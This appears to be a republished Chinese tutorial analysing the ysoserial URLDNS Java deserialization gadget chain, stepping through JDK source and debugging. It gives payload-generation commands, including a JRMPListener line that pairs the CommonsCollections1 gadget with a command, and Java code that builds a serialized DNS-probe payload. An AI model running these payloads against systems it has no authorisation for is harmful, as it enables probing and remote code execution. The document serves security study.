yso之URLDNS链

yso之URLDNS链前言 文章首发于 tools yso 之 URLDNS 链 Java 反序列化 Java 提供了一种对象序列化的机制 用一个字节序列表示一个对象 该字节包含对象的数据 对象的类型 对象的存储属性 字节序列写出到文件后 相当于可以持久保存一个对象 这过程叫做序列化 序列化对象会通过 ObjectOutput

大家好,我是讯享网,很高兴认识大家。

前言

文章首发于tools:yso之URLDNS链

Java反序列化

Java提供了一种对象序列化的机制,用一个字节序列表示一个对象,该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后,相当于可以持久保存一个对象,这过程叫做序列化。序列化对象会通过ObjectOutputStreamwriteObject方法将一个对象写入到文件中。

而反序列化是使用了readObject 方法进行读取并还原成在序列化前的一个类。

这一步骤并没有什么安全问题,但是如果反序列化的数据是可控的情况下,那么我们就可以从某个输入点,输入恶意代码,再去查找在哪个点,我们的输入会被一层一层的带去到我们的触发点去,而这一步叫做寻找利用链的步骤。

ysoserial

因为java序列化后的数据为不可见字符,不方便构造,所以此项目帮你生成反序列化poc的脚本,但是并不会提供反序列化的点。

项目地址

https://github.com/angelwhu/ysoserial 

讯享网

使用

主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务

  • java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] ‘[command]’
  • java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://fq3jq6.dnslog.cn
  • java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 ‘ping test.fq3jq6.dnslog.cn’

项目结构

讯享网│ GeneratePayload.java { 
  
    
  {生成poc的入口函数}} │ Deserializer.java { 
  
    
  {反序列化模块}} │ Serializer.java { 
  
    
  {序列化模块}} │ Strings.java { 
  
    
  {字符处理模块}} │ ├─exploit { 
  
    
  {一些直接调用的exp}} │ JBoss.java │ JenkinsCLI.java │ JenkinsListener.java │ ...... │ ├─payloads { 
  
    
  {生成gadget poc的代码}} │ │ CommonsBeanutils1.java │ │ URLDNS.java │ │ ..... │ │ │ ├─annotation { 
  
    
  {一些不重要的配置}} │ │ Authors.java │ │ │ └─util { 
  
    
  {一些重复使用的单元}} │ ClassFiles.java │ Gadgets.java │ └─secmgr { 
  
    
  {和安全有关的管理}} DelegateSecurityManager.java ExecCheckingSecurityManager.java 

动态调试

源码地址

https://github.com/frohoff/ysoserial 

克隆到本地直接用idea打开,这时候IDEA会自动根据其中的配置下载依赖,只需要等待几分钟

自动下载后最好在pom.xml那把剩下的依赖也解决了

image-20211231105506123
讯享网

程序入口

首先找到程序的入口点,点开pom.xml搜索mainclass就可以找到入口点的类

image-20211231112814866

ctrl+左键点击跟踪进去,运行测试一下。

image-20211231112854798

需要参数

image-20211231112914880

主函数调用链

讯享网1处接受2个参数比如 URLDNS 'http://www.baidu.com' 2处获得poc模块的类,这里就是URLDNS.java类 3处实例化poc类以及将第二个参数传入类 4处序列化一次然后输出(poc) 

image-20220102082557584

在run-edit config中配置参数

image-20211231112932866

这里填入URLDNS链的启动参数

URLDNS http://fq3jq6.dnslog.cn 

image-20220102080716125

再次运行这样我们就获取到了一个序列化的数据。

image-20220102081540983

手动构造pop链

指定类的hashmap到指定类的hashcode

tips:HashSet列表的add也会调用map.put只是链子更长而已

讯享网HashMap<String, String> map = new HashMap<String, String>(); // 键不能重复,值可以重复 map.put("san", "张三"); map.put("si", "李四"); map.put("wu", "王五"); map.put("wang", "老王"); map.put("wang", "老王2");// 老王被覆盖 map.put("lao", "老王"); System.out.println("-------直接输出hashmap:-------"); System.out.println(map); 

我们跟进put函数

public V put(K key, V value) { 
    return putVal(hash(key), key, value, false, true); } 

跟进从putVal到hash函数

讯享网static final int hash(Object key) { 
    int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } 

发现和hashCode相关。也就意味着当我们使用hashmap的put的时候,key会调用->hash(key)->然后调用key.hashCode()

也就是说只要key是一个对象,那么我们可以调用任意对象的hanshCode函数

那么又是怎么通过hashCode来发起dns请求的?

URL类中的hashcode

URL.java 881,URL对象hashCode函数调用了handler.hashCode

public synchronized int hashCode() { 
    if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; } 

跟进handler.hashCode()(URLStreamHandler.java 350),他是由URLStreamHandler类形成的对象,是一个抽象类

用来处理协议(http/https)的建立连接

image-20220106081242928

hashCode调用了getHostAddress函数

讯享网protected int hashCode(URL u) { 
    int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); ........... 

跟进getHostAddress(u)(URLStreamHandler.java 433),看名字也知道是用来获取主机IP地址的

image-20220106081517363

在其中调用了InetAddress.getByName

protected synchronized InetAddress getHostAddress(URL u) { 
    if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { 
    return null; } else { 
    try { 
    u.hostAddress = InetAddress.getByName(host); ......................................... 

而InetAddress.getByName(host)就是DNS请求了

image-20220106081842673

那么就清楚了,调用链map.put(Url,XX)->URL.hashCode->handler.hashCode->getHostAddress(u)->u.hostAddress=InetAddress.getByName(host);

发出DNS请求,那么我们就可以简单构造一下

讯享网 HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL test_url= null; try { 
    test_url = new URL("http://test.kei8v0.dnslog.cn"); hashMap.put(test_url, "22222"); System.out.println("success"); } catch (MalformedURLException e) { 
    e.printStackTrace(); } 

image-20220102084357269

到这里成功执行了DNS请求

hashmap的反序列化

我们前往HashMap.java

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { 
    ......................... // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { 
    @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); #!!!!!!!!!!! } } } 

发现readObject每个值也会调用putVal->hash(作用和HashMap中的put函数一致),然后如果key为URL类型就会掉入前面URLDNS的链中,那么我们现在非常方便写代码

讯享网public static void main(String[] args) throws Exception{ 
    //构造请求链 HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://lyyy.dr8m3e.dnslog.cn\n\n"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 0); hashMap.put(url, "test"); f.set(url, -1); //序列化操作 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin")); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); ois.readObject(); } 

这里前面进行构造,后面进行序列化以及反序列化触发

有一个有意思的点是为了不让构造的时候触发dns请求影响结果判断,我们先使URL类中的hashCode值为0

我们分析URL的hashCode

public synchronized int hashCode() { 
    if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; } 

发现hashCode为-1的时候才调用handler.hashCode()

而hashCode定义为private int hashCode = -1;

默认为-1,我们要在构造的时候不发起dns请求,所以我们要在put之前set为非-1的值

HashMap->readObject()

HashMap->putVal()

HashMap->hash()

URL->hashCode()

URLStreamHandler->hashCode()

URLStreamHandler->getHostAddress()

InetAddress->getByName()

URLDNS链分析

URLDNS是ysoserial里面就简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。

在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在。

调用jar包得到序列化后的数据,如果需要执行,需要对其做反序列化操作。这里先开始看看数据是怎么获取的

打开src/main/java/ysoserial/payloads/URLDNS.java的源码

image-20220102082052485

在注释中标明了调用链

讯享网* Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode() 

和手动构造的前半部分一致

在put地方打一个断点,再找到hashMap.readObject中的putVal打上断点

开始调试直接跳到第二个点

image-20220102093856286

putVal调用了hash,key是自己指定的url:http://fq3jq6.dnslog.cn 通过readObject函数生成的URL对象

image-20220106084457533

步入hash函数,这里key传入URL对象

image-20220102094027361

所以调用了URL类的hashCode,继续步入hashCode

image-20220102094137895

hashCode=-1时去执行hadler.hashCode

image-20220102094200704

执行getHostAddress,u为http://fq3jq6.dnslog.cn

image-20220102094238294

调用了InetAddress.getByName,成功发起dns请求,调用链和手动构造一模一样

本地使用yso测试

本地进行反序列化测试一下,手动生成

tips:这里不能用powershell运行,会在文件头加上错误信息导致报错

java -jar ysoserial.jar URLDNS http://8q2frx.dnslog.cn > out.bin 

本地反序列化Demo

讯享网import java.io.FileInputStream; import java.io.ObjectInputStream; public class Helloworld{ 
    public static void main(String[] args) throws Exception { 
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); ois.readObject(); } } 

image-20220102101028960

探究冗余处理

那么yso是怎么处理构造时发出的dns请求呢?

查看URLDNS源码可以发现,作者构造URL对象时使用了三个参数

image-20220106085356304

来到析构函数查看,是可以通过指定处理程序解析来订制规范创建URL

image-20220106085430453

也就是依赖handler来制定规范创建URL对象

handler是上面创建的

image-20220106085748009

跟进

 static class SilentURLStreamHandler extends URLStreamHandler { 
    protected URLConnection openConnection(URL u) throws IOException { 
    return null; } protected synchronized InetAddress getHostAddress(URL u) { 
    return null; } } 

直接重写了getHostAddress()内容为返回空

那么如果我们传入的handler为自己改写的时,创建URL对象调用hashCode函数就不能发起DNS请求了

那么为什么在反序列化的时候会有请求呢?

因为之前说过序列化只记录类的属性,而函数内容不管,所以这个对象的函数被重写并不影响序列化的结果。

而反序列在被攻击端进行,只要序列化数据正常,自然可以正常发起DNS请求

总结

URLDNS链

  • hashmap重写了readobject反序列化方法,而重写后的readobject方法调用了一系列方法最后发起dns请求
  • 使用的全部是JDK中内置的类和方法,不会有环境要求,所以利用范围大
  • 使用的全部是JDK中内置的类和方法,学习后对java源码理解更深入
  • 原生类的很多方法都会最后发起DNS请求,但是这里是对反序列化的探测,所以需要的是
    • 1.重写readObject函数
    • 2.重写后的readObject执行了危险操作(危险类/危险函数)

参考

java代码审计入门3-ysoserial调试和构造URLDNS的pop链

Java安全之URLDNS链

小讯
上一篇 2025-01-10 16:42
下一篇 2025-02-07 07:05

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/123757.html